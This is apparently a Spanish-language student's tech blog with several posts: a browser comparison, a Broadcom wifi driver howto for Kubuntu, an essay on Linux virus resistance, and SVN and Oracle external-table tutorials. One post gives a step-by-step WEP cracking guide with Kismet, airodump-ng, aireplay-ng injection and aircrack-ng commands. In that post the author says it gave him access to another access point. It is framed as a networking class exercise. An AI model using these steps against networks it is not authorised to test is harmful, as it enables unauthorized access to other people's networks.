Konqueror vs Firefox

El dia de hoy me puse a cuestionar cual de los 2 seria el mejor. Leyendo un poco en blogs de otras personas, mencionaban que hablar sobre este tema es empezar una guerra de browsers, ya que es muy subjetivo evaluar uno u otro. Los que apoyan a Konqueror aplauden la union de un navegador de archivos y web integrado, rapido, con opciones como ftp, ssh, etc. Los que apoyan a Firefox argumentan la alta compatibilidad, plugins, addons, gestor de descargas, etc. Yo personalmente al dia de hoy aun no me decido y quisiera saber que opinan ustedes.

Anuncios

Pavilion DV6000 Broadcom Kubuntu o Ubuntu 8.04

Hola nuevamente amigos, pues el proyecto de hoy fue lograr hacer que una tarjeta inalambrica funcionara con Kubuntu 8.04, empece haciendo busquedas en google, donde varias personas decian que les habia funcionado sin hacer tanta cosa.

Como es de costumbre, si algun hardware podria fallar con linux, ESE ES EL QUE TOCO! 😦

Ya estoy resignado, aunque lo bueno es que sigo aprendiendo las mañas de los drivers jeje 🙂

Este mini-howto que les presento lo he tomado de la siguiente direccion: https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Feisty_No-Fluff
Bueno, empecemos!
La tarjeta inalambrica a instalar es una Broadcom Corporation BCM94311MCG wlan mini-PCI (rev 02)

si no sabes que tarjeta tienes, entonces ve a la consola (Alt + F2) de Kubuntu y escribe: lspci , eso listara todos los dispositivos fisicos conectados a tu computadora. En ese resultado busca que tu tarjeta sea igual a la que yo escribi para que te funcione, si no, ve al link que escribi mas arriba.

Paso 0: Actualizar los repositorios

Si no ejecutas este paso no podras instalar el ndiswrapper, te dira que no existe ese paquete.

Abre adept y da clic al boton actualizar.

Paso 1: Instalar NDISWrapper y poner en la lista negra el driver nativo

Si se preguntan que es eso del ndiswrapper y la lista negra, es simple, el ndiswrapper es un programita que te permite instalar los drivers de windows de tu tarjeta inalambrica para nuestro sistema operativo linux. La lista negra es un archivo que contiene informacion sobre los modulos que no queremos que la computadora cargue cada vez que arranca.

NOTA IMPORTANTE: no copies y pegues estos comandos porque aca en el wordpress el editor convierte automaticamente los apostrofes (‘) a uno diferenteal que necesitas usar en la consola. En conclusion, cuando veas este signo ‘ recuerda que es un apostrofe.

echo ‘blacklist bcm43xx’ | sudo tee -a /etc/modprobe.d/blacklist
sudo apt-get install ndiswrapper-utils-1.9
mkdir ~/bcm43xx; cd ~/bcm43xx

Paso 2: Descargar e instalar el driver sp34152

Vale mencionar que este paso es valido unicamente si tu tarjeta tiene el mismo nombre que la mia, continuamos en la consola y escribimos:

sudo apt-get install cabextract

wget ftp://ftp.compaq.com/pub/softpaq/sp34001-34500/sp34152.exe

cabextract sp34152.exe

Con este paso hemos descargado y descomprimido el .exe

Ahora es tiempo de configurar el driver usando ndiswrapper.

Paso 3: Configurar NDISWrapper (and WPA Supplicant)

Lo configuramos de la siguiente manera:

sudo ndiswrapper -i bcmwl5.inf
ndiswrapper -l
sudo depmod -a
sudo modprobe ndiswrapper
sudo cp /etc/network/interfaces /etc/network/interfaces.orig
echo -e ‘auto lo\niface lo inet loopback\n’ | sudo tee /etc/network/interfaces
sudo ndiswrapper -m
echo ‘ndiswrapper’ | sudo tee -a /etc/modules
echo ‘ENABLED=0’ | sudo tee -a /etc/default/wpasupplicant

Despues de este paso pense que ya iba a tener funcionando mi tarjeta, pero para mi mala suerte no fue asi. Continue leyendo un poco mas y si a ti tampoco te ha funcionado la tarjeta (para probarlo escribe iwconfig en la consola y te deberia mostrar alguna interfaz adicional a eth0 y lo si solo tienes una tarjeta ethernet) entonces haremos una prueba de funcionamiento temporal. Consiste en lo siguiente, vamos a descargar unos modulos.

sudo rmmod b43
sudo rmmod b44
sudo rmmod b43legacy #this step added Apr 27 2008
sudo rmmod ssb
sudo rmmod ndiswrapper
sudo modprobe ndiswrapper
sudo modprobe ssb
sudo modprobe b44 #this step added May 1 2008

Ahora pon atencion a la luz de tu tarjeta inalambrica, deberia de haber encendido, si es asi, entonces ya puede utilizarla, pero cuando reinicies tendras que volver a escribir este ultimo trozo de codigo, lo cual es molesto, entonces para hacer los cambios permanentes escribe esto:

echo -e ‘#Hardy ssb/ndiswrapper workaround, added’ `date` ‘\ninstall ndiswrapper modprobe -r b43 b44 b43legacy ssb; modprobe –ignore-install ndiswrapper $CMDLINE_OPTS; modprobe ssb; modprobe b44;’ | sudo tee -a /etc/modprobe.d/ndiswrapper

Y eso es todo, ahora si puedes reiniciar la pc y tu tarjeta inalambrica siempre funcionara 🙂 !!
Les dejo unos screenshots.

Kubuntu, increible!

Hola, solo para contarles que en este momento estoy estrenando al fin linux en mi compu. Instale la version 8.04 de Kubuntu y solo puedo decir que me siento enamorado. Habia olvidado cuanto me gusta el escritorio KDE (amigos de GNOME no se molesten conmigo por favor jeje).

Me reconocio la webcam incluso, no tuve que hacer nada. Estas distros en realidad las estan mejorando bastante en su aspecto de usabilidad para el usuario final. Es de felicitarlos y alegrarnos.

Bueno, me tengo que retirar que estoy terminando de restaurar el backup y aun tengo que estudiar S.Operativos 2 que manana hay finalito.

Es cierto que manana miercoles 28 hay paro de buses?

Rompiendo una clave WEP

DIA 1:

Hola nuevamente, pues esta fue una practica que desarrollamos durante el curso de Redes1 en la U. La verdad que me parecio todo perfecto excepto por la desafortunada incompatibilidad de hardware que suelo tener a menudo. Aunque gracias a eso he aprendido bastante sobre drivers en linux.

Para romper una clave WEP no necesitas usar linux pero yo si te lo recomiendo. En mi caso utilice una distro llamada backtrack la cual se especializa en seguridad de redes y trae un resto de aplicaciones dedicadas exclusivamente al tema.

He realizado un mini-howto (realmente fue el manual de usuario que entregue para la practica) pero desafortunadamente ya no cuento con la tarjeta inalambrica que utilice esa vez y ahora tengo una broadcom. El problema es que la version que habia usado de backtrack no tiene compatiblidad con ese chip. Recien acabo de bajar una version actualizada y que corre en USB (1 gb), les mantendre informados sobre esto.

DIA 2:

He decidido probar primero con otra tarjeta, ya que me estaba desesperando en buscar e instalar algun parche para mi tarjeta broadcom. Esta vez lo estoy intentando con una TrendNet que tiene un chip Atheros y de momento todo ha ido bien.

(horas mas tarde…)

No voy a entrar a temas morales, pero el asunto es que ahora ya tengo un punto de acceso mas al cual conectarme jeje 🙂

Hice un mini-howto, no esta nada completo pero ha funcionado ya con 2 access point diferentes. Espero que les sirva.


CRACKEANDO UNA CLAVE WEP
El objetivo de este manual es mostrar paso a paso como crackear una red inalámbrica protegida por clave WEP.
Luego de varias horas de producir bilis porque el bendito GUINDOS no tiene drivers compatibles para mi tarjeta de red inalámbrica (Broadcom) me decidí a aventurarme en el maravilloso software libre. Me conseguí una distribución Linux de nombre BACKTRACK (esta distribución posee una infinidad de herramientas para probar la seguridad de las redes Ethernet y wifi). No es necesario conseguir BACKTRACK para hackear la clave WEP, pero si los siguientes programas:
– Kismet
– Airodump-ng
– Aireplay-ng
– AirCrack-ng
Además de eso necesitamos tiempo disponible y mucha paciencia patojos 🙂

-=| PASO 0 |=_
Antes de empezar es necesario recabar cierta información, una muy importante es la dirección física (MAC) de nuestra tarjeta de red inalámbrica, para esto abrimos la consola
(Alt + F2) >> Konsole

dibujo1

y tecleamos ‘ifconfig’ nos mostrara una pantalla como la que sigue:

mostrando informacion sobre nuestra tarjeta

Una hoja a la mano o buena memoria para apuntar la dirección, en mi caso es 00:14:A5:DA:EF:52

-=| PASO 1 |=_
Bueno la idea es la siguiente: primero vamos a detectar que red vamos a atacar, para esto vamos a utilizar la herramienta Kismet, y si no quiero usar Kismet que pasa? bueno pues entonces a conseguir otra herramienta que nos detecte las redes disponibles pero en especifico que nos diga la MAC del Access Point que queremos atacar, el canal en el que transmite y si la red esta cifrada o no. Entonces damos clic al inicio >> Backtrack >> Radio Network Analysis >> 80211 >> Analyser >> Kismet, nos mostrara un cuadro con las redes inalámbricas al alcance, hay varios campos que se muestran.
Presionamos la tecla ‘s’ (minúscula) y nos aparece un listado de posibles opciones, seleccionamos la letra ‘b’ ahora con las flechas nos movemos para obtener mas información de la red que deseamos atacar y presionamos Enter. En este caso será la red llamada: ‘gmg’. De los datos que nos muestra únicamente nos interesa saber la dirección física (MAC), el canal en el que transmite y si la red está cifrada (WEP, las redes cifradas WEP se muestran con un color de texto verde).

pantalla de kismet

Estos son los datos que necesitamos:
00:13:46:A1:B6:0C -> dirección física del Access Point que transmite nuestra red llamada ‘gmg’.
canal 2 -> El canal en el que transmite la red ‘default’
WEP -> El tipo de cifrado.
Ahora cerramos Kismet presionando la tecla ‘Q’ (mayúscula) 2 veces.
NOTA: Tenemos que cerrar Kismet antes de continuar con el paso 2.

-=| PASO 2 |=_
Lo que sigue es empezar a capturar paquetes de la red que deseamos atacar, para eso vamos a utilizar la herramienta Airodump-ng con algunos parámetros:
El Airodump-ng es una herramienta que se usa para capturar paquetes wireless 802.11 y va acumulando vectores de inicialización IVs con el fin de usarlos con aircrack-ng y obtener la clave WEP.
Para usar el Airodump-ng se usa con diferentes parámetros, los cuales la sintaxis es:
airodump-ng <opciones> <interface> [,<interface>,…]
Opciones:
–ivs: Graba únicamente los IVs capturados
–gpsd: Usa GPSd
–w <nombre archivo>: Nombre del archivo donde guardar las capturas
-write: Lo mismo que –w
–beacons: Guardar todas las balizas o beacons en el archivo
–netmask <máscara de red> : Filtrar APs por máscara
–bssid <bssid> : Filtrar APs por BSSID

Interface:
–channel <canal>: Capturar en un canal específico
–band <abg>: Banda en la que actuará airodump-ng
–cswitch <método>: Saltar de canal con este método:
0 : FIFO (opción por defecto)
1 : Round Robin
2 : Saltar al último
-s: Lo mismo que –cswitch

Vamos a ver una ventana como la siguiente

pantalla de airodump

Las columnas a las que tenemos que prestar suma atención son las de RXQ y #Data, RXQ es la calidad de la señal máx. 100 y min 0, debemos tratar de tener una buena señal, de lo contrario la recepción de los paquetes tomara muchísimo mas tiempo. El #Data nos indica la cantidad de marcos IV’s que hemos recibido exitosamente, un min de 150,000 y un máx. de 250,000 dependiendo la longitud de la clave WEP cifrada.
-=| PASO 3 |=_
En este paso lo que tratamos de hacer es acelerar la recepción de paquetes con marcos IV’s validos, para eso usamos la aplicación AIREPLAY-NG con algunos parámetros como los siguientes:

Aireplary-ng se usa para inyectar paquetes. La función principal es generar trafico para poder usarlo después con aircrack-ng y porder crackear claves WEP.
Para usar la herramienta de Aireplay-ng se usa con diferentes parámetros, la sintaxis de esto es la siguiente:

aireplay-ng <opciones> <interface>
Opciones de filtro:
-b bssid : Dirección MAC del punto de acceso
-d dmac : Dirección MAC de destino
-s smac : Dirección MAC origen (source)
-m len : Longitud mínima del paquete
-n len : Longitud máxima del paquete
-u type : frame control, type field
-v subt : frame control, subtype field
-t tods : frame control, To DS bit
-f fromds : frame control, From DS bit
-w iswep : frame control, WEP bit
Opciones de inyeción:
-x nbpps : número de paquetes por segundo
-p fctrl : fijar palabra “frame control” (hexadecimal)
-a bssid : fijar dirección MAC del AP
-c dmac : fijar dirección MAC de destino
-h smac : fijar dirección MAC origen
-e essid : ataque de falsa autenticación: nombre del AP
-j : ataque arp-replay: inyectar paquetes FromDS
-g valor : cambiar tamaño de buffer (default: 8)
-k IP : fijar IP de destino en fragmentos
-l IP : fijar IP de origen en fragmentos
-o npckts : número de paquetes por burst (-1)
-q sec : segundos entre paquetes “sigo aquí” o keep-alives (-1)
-y prga : keystream para autenticación compartida (shared key)
Opciones de origen:
-i iface : capturar paquetes con esa interface
-r archivo : utilizar paquetes de ese archivo cap
Modos de ataque (Los números también se pueden seguir usando como en versiones anteriores):
-deauth [número]: deautenticar 1 o todos los clientes (-0)
-fakeauth [nº repetición]: falsa autenticación con el AP (-1)
-interactive : selección interactiva del paquete a enviar (-2)
-arpreplay : estandard reinyección ARP-request (-3)
-chopchop : desencriptar paquete WEP/chopchop (-4)
-fragment : generar keystream válido (-5)

Nos autenticamos primero con:
aireplay-ng -1 0 -e SSID -a BSSID -h MI_MAC eth1
luego mandamos
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:15:E9:F7:1C:91 -h 00:14:A5:DA:EF:52 eth1

Otra forma:
aireplay-ng -x 512 -b 00:15:E9:F7:1C:91 -h 00:14:A5:DA:EF:52 –arpreplay eth1

aireplay-ng -2 -p 0841 -b 00:15:E9:F7:1C:91 -h 00:14:A5:DA:EF:52 -r replay_arp-1022-112400.cap eth1

inyectando paquetes interactivamente

Hay varios tipos de ataque para poder obtener estos preciados marcos, y en este manual no se detallan pero se encuentran disponibles en la página oficial de AIROPLAY-NG.

-=| PASO 4 |=_
Es tiempo de desencriptar nuestra clave WEP (solo si hemos capturado la cantidad necesaria de paquetes). Para esto utilizamos la herramienta llamada aircrack-ng.
Aircrack-ng es un programa crackeador de claves 802.11 WEP y WPA/WPA2-PSK. Aircrack-ng puede recuperar la clave WEP una vez que se han capturado suficientes paquetes encriptados con airodump-ng. Este programa de la suite aircrack-ng lleva a cabo varios tipos de ataques para descubrir la clave WEP con pequeñas cantidades de paquetes capturados, combinando ataques estadísticos con ataques de fuerza bruta. Para crackear claves WPA/WPA2-PSK, es necesario usar un diccionario.
Para utilizar esta herramienta, esta es la sintaxis:
aircrack-ng [opciones] <archivo(s) de captura>

Utilizando esta herramienta nos da la siguiente pantalla en donde nos muestra la clave WEP.

obteniendo la clave wep

aircrack-ng *.cap –n 64 –m MAC_AP

puede funcionar tambien para obtener mas rapidamente la clave si sabemos que es de 64 bits

La poca difusión de Linux es obviamente un motivo de que no haya virus, pero no es el único motivo.

El dia de hoy encontre esta entrada en otro blog y me parecio tan buena que decidi postearla, hace varias semanas viendo un porcentaje de cuota de los sistemas operativos en la revista pc magazine pense que linux era seguro mientras no fuera popular, jeje, uno tan ignorante como siempre. Cito la fuente de donde la obtuve: http://ubunturoot.wordpress.com/2008/05/25/gnulinux-y-los-virus-no-solo-cuestion-de-popularidad/

Dice asi:

La poca difusión de Linux es obviamente un motivo de que no haya virus, pero no es el único motivo.

Supongamos que alguien hace un virus para Linux, que no pretende obtener privilegios de root y se conforma con los del usuario: podría hacer lo que quisiera excepto infectar programas. Hasta aquí bien. Inconvenientes…

  1. Hay muchas distribuciones diferentes y costaría un poco que el virus funcionara en todas pero digamos que se centan en las principales, sobre todo Ubuntu, viene el segundo problema:
  2. Eliminar un virus de windows puede ser una pesadilla. El virus toma el control en tal forma que los antivirus y eliminadores no funcionan. Hay que arrancar desde un diskette o CD pero en ese caso el virus puede aprovechar las “características de protección” de windows para dificultar la tarea. Incluso lograr eliminarlo no es ninguna garantía porque podría quedar algún disparador que lo reinstale al volver a arrancar. Y para colmo, los eliminadores de virus sólo eliminan virus conocidos. Contra un virus nuevo no hay NINGUNA solución. Lo más práctico suele ser formatear y reinstalar.En cambio en Linux el virus sólo puede estar en un lugar: el home del usuario. Ante cualquier problema basta con crear un usuario nuevo para tener en segundos un sistema totalmente funcional y libre de virus. No importa qué virus sea o si es conocida su manera de actuar o no. Un usuario diferente no puede estar infectado, se crea uno o se cambia a otro existente y problema solucionado en 10 segundos. Después se puede recuperar los documentos que sean necesarios. Una diferencia muy grande comparado con las horas o hasta dias que puede tomar solucionar un problema de virus en windows… pero igual quien sabe lo que podrían inventar los atacantes en el futuro, podría ser que el usuario fuera tan tonto lograra volver a infectarse pronto, así que:
  3. La seguridad que estamos usando en Linux actualmente es bastante relajada. No estamos, ni de lejos, ajustando la seguridad al máximo. Lo primero que se podría hacer es quitar el permiso de ejecución al home de los usuarios. Bastaría con que el /home estuviera en una partición diferente para poder montarla con el flag “noexec” y listo. Pueden traer lo que quieran en una memoria USB que no podrán ejecutar nada. El único riesgo serían javascripts en navegadores y scripts en documentos. Implementar eso nos tomaría minutos y con seguridad nos daría unos cuantos años más de tranquilidad respecto de los virus. Pero imaginemos un mundo donde casi todo el mundo usara Linux y los que hacen virus, ahora flacos y hambrientos, decidieran dar lo mejor de sí para atacarnos. Bien podrían hacer un javascript que mandara spam, por ejemplo. Entonces:
  4. Siempre nos queda el recurso de irnos a seguridades mucho más avanzadas, ya presentes en el núcleo de Linux desde hace años pero casi siempre innecesarias. Podríamos activar SELinux. Eso dejaría fuera de combate hasta a los javascripts, ya que podríamos fácilmente prohibir al browser cualquier conexión que no sea http o https. Esto no es comparable a los “seudo-firewalls” para windows ya que en el caso de Linux la seguridad está embebida en el mismo núcleo, y no sólo controla paquetes tcp/ip sino todo tipo de actividades de los programas, incluso cosas tan inofensivas como listar el contenido el disco. Es más, el activar SELinux nos protegería incluso ante fallos de seguridad en los programas, ya que en este punto se vuelve irrelevantes los permisos del usuario. Podríamos publicar en internet la clave del root y aún así seguir tranquilos.

Como se ve, Linux nos resultará seguro por muchos años más, y a diferencia de windows, la carrera de la seguridad en Linux la tenemos ganada antes de empezar porque partimos desde una posición mucho más ventajosa que los atacantes. Les llevamos de lejos la delantera y aún si no progresáramos NADA en muchos años, la seguridad nos serviría perfectamente.

Obviamente se progresa y mucho, así que la gran ventaja que llevamos se mantendrá y hasta podría aumentarse si viéramos que la situación es preocupante. Para el día que tengamos que preocuparnos porque no nos alcance SELinux, seguro que tendremos alternativas suficientes.

Desarrollando proyectos usando un servidor publico CVS + el cliente Tortoise

este pequenio tutorial te mostrara como desarrollar un proyecto de programacion usando un servidor cvs publico, ademas usaremos el cliente tortoise para hacer checkout, checkin, etc.

*** Les prometo actualizar este post en cuanto tenga todos los pasos detallados de como hacerlo. ***

Una pequeña introducción a lo q es el SVN y el CVS:

El Concurrent Versions System (CVS), también conocido como Concurrent Versioning System, es una aplicación informática que implementa un sistema de control de versiones: mantiene el registro de todo el trabajo y los cambios en los ficheros (código fuente principalmente) que forman un proyecto (de programa) y permite que distintos desarrolladores (potencialmente situados a gran distancia) colaboren. CVS se ha hecho popular en el mundo del software libre. Sus desarrolladores difunden el sistema bajo la licencia GPL.

SVN es un software de sistema de control de versiones diseñado específicamente para

reemplazar al popular CVS, el cual posee varias deficiencias. Es software libre bajo una

licencia de tipo Apache/BSD y se lo conoce también como Subversion. Una

característica importante de Subversion es que, a diferencia de CVS, los archivos

versionados no tienen cada uno un número de revisión independiente. En cambio, todo

el repositorio tiene un único número de versión que identifica un estado común de todos

los archivos del repositorio en cierto punto del tiempo.

Primero descargamos un programa para gestionar el SVN o el CVS, elegimos el TORTOISE por ser de fácil uso el cual se puede descargar de la sig. Dirección http://tortoisesvn.net/downloads

Escogemos el de 32 bits (El archivo .msi) NOTA: El funcionamiento de este programa varia en los ordenadores es posible que tenga que usar otra versión

Después de terminada la descarga ejecutamos el instalador (la versión que utilizamos fue la 1.4.3.8645):

Le damos NEXT y aparecerá la siguiente pantalla:

Seleccionamos la opcion “I ACCEPT THE TERMS IN THIS LISCENSE AGREEMENT” y luego le damos al botón NEXT. Y aparecerá la sig. Pantalla:

Luego le presionamos NEXT y posteriormente INSTALL:

Luego iniciara la instalación:

Una vez terminada la instalación nos saldrá esta pantalla y presionamos el botón FINISH:

Y después nos pedirá que reiniciemos la computadora (Es suya la decisión si lo hace ahora o después pero para seguir el proceso debe reiniciarla).

A continuación serán presentados los pasos a seguir para crear un repositorio

Entre varios repositorios encontramos googlecode que la verdad nos pareció muy buena opción después de probar con varias opciones más.

Primero vamos a la url : http://code.google.com/hosting/

Luego llenamos los datos para crear el repositorio que incluyen:

  1. Nombre del Proyecto
  2. Un pequeño resumen del Proyecto
  3. Descripción del Proyecto
  4. Tipo de Licencia ( Aquí seleccionar GPL)
  5. Etiquetas para su proyecto

Después de que hemos colocado los datos correspondientes vamos a la página de inicio de nuestro proyecto:

Después vamos a la pestaña SOURCE y ahí encontraremos los datos para el checkout en tortoise:

Luego de eso vamos a Mis Documentos y creamos una Nueva Carpeta.

Damos clic secundario encima de la carpeta y elegimos la opción Tortoise SVN. Luego elegimos CREATE REPOSITORY HERE.

Elegimos la opcion FSFS.

Nos va a salir una ventana indicandonos que el repositorio fue creado exitosamente.

Posteriormente repetimos la acción, solo que esta vez elegimos SVN CHECOUT.

Nos va a salir una ventana donde debemos colocar la URL del repositorio. NOTA (Esta varía de acuerdo a su dirección en el repositorio).

Al presionar OK, nos va a aparecer otra ventana. Y presionamos YES.

Una nueva ventana aparece y nos pide el nombre de usuario y la contraseña.

La ingresamos para poder continuar. NOTA (Esto varía de acuerdo a sus datos en el repositorio).

Empezara a actualizar los datos dentro de la carpeta.

Al terminar a la carpeta creada se le agregara un cheque de color verde.

Para subir archivos primero introducimos uno en la carpeta, damos clic secundario en la carpeta y elegimos SVN COMMIT.

Elegimos el archivo que queremos subir y damos OK.

Una vez más ingresamos el nombre de usuario y contraseña.

Y actualizara los datos en la carpeta.

NOTA

Para bajar archivos, es el mismo procedimiento solo q envés de COMMIT elegimos UPDATE.

Con esto finaliza el pequenio tutorial, muchas gracias a Asdrubal y Luis que elaboraron este documento 😀

Tablas externas en Oracle 10g

Antes que todo el concepto: las tablas externas las usamos para cargar informacion masiva en la base de datos. Pros? son rapidas y una alternativa al sqlldr (SQL Loader). Contras? no permiten insertar, modificar, crear indices. Por lo tanto yo les recomiendo usar sqlldr (al momento de escribir este post no habia usado sqlldr y le tenia miedo jaja, pero ya lo use y les confieso que es mas facil que esto, tratare de hacer un post mas adelante sobre el sqlldr).

Primero debemos cargar el sqlplus, y entrar como usuario con Rol de DBA.

SQL*Plus: Release 10.2.0.1.0 – Production on Wed Oct 18 22:21:20 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Enter user-name: sys as sysdba
Enter password:
Connected to an idle instance.
Crearemos el directorio donde se encuentran los datos
SQL>CREATE DIRECTOY ext_tab_dir AS ‘/home/oracle/sbd1/proyecto01’;

si estamos usando windows evitemos colocar rutas con espacios o nombres largos, podria quedar algo asi:

SQL>CREATE DIRECTOY ext_tab_dir AS ‘c:\proyecto01’;

Ahora otorgamos permisos de Lectura y Escritura para dicho directorio. Aquí PROY01 es el usuario que va a trabajar con los datos.
SQL>GRANT READ ON DIRECTORY ext_tab_dir TO PROY01;
SQL>GRANT WRITE ON DIRECTORY ext_tab_dir TO PROY01;

SQL>quit (para salir)

Para crear la tabla entramos como (en este caso) el usuario PROY01 al SQL*Plus.

SQL*Plus: Release 10.2.0.1.0 – Production on Wed Oct 18 22:21:20 2006
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Enter user-name: proy01
Enter password: *****
Connected to an idle instance.
SQL>

CREATE TABLE tabla_datos (
region char(21),
departamento char(16),
hospital char(36),
especialidad char(41),
unidad char(11),
servicio char(13),
sala char(5),
cama char(5),
paciente char(22),
carnet_paciente int,
cedula_p char(9),
fecha_nac date,
fecha_defu date,
sexo char(1),
dir_pac char(8),
estado_civ char(11),
responsable_paciente char(22),
colegiado int,
medico char(41),
sintoma char(51),
fecha_revi date,
observaciones char(27)
)ORGANIZATION EXTERNAL
( TYPE ORACLE_LOADER
DEFAULT DIRECTORY ext_tab_dir
ACCESS PARAMETERS
( RECORDS DELIMITED BY NEWLINE
CHARACTERSET ‘WE8ISO8859P15’
SKIP 3
FIELDS LRTRIM (
region (1:21) char(21),
departamento (22:37) char(16),
hospital (38:73) char(36),
especialidad (74:114) char(41),
unidad (115:125) char(11),
servicio (126:138 ) char(13),
sala (139:143) char(5),
cama (144:148 ) char(5),
paciente (149:170) char(22),
carnet_paciente (171:186),
cedula_p (187:195) char(9),
fecha_nac (196:206) char(10) date_format DATE mask “dd/mm/yyyy”,
fecha_defu (207:217) char(10) date_format DATE mask “dd/mm/yyyy”,
sexo (218:219) char(1),
dir_pac (220:227) char(8 ),
estado_civ (228:238 ) char(11),
responsable_paciente (239:260) char(22),
colegiado (261:270),
medico (271:311) char(41),
sintoma (312:362) char(51),
fecha_revi (363:373) char(10) date_format DATE mask “dd/mm/yyyy”,
observaciones (374:400) char(27)
)
)
LOCATION ( ‘datos.txt’ )
);
Por ultimo probamos:
SQL> select * from tabla_datos;
y nos tiene que mostrar los datos que están en el archivo de datos asociado a la tabla creada.
SQL>quit

No explique que significan los valores dentro de los parentesis, como este:

colegiado (261:270)

alli dice que el campo colegiado obtendra su valor de la columna 261 a la 270 del archivo de entrada.

****GRACIAS A NATARENO POR LA INFO 🙂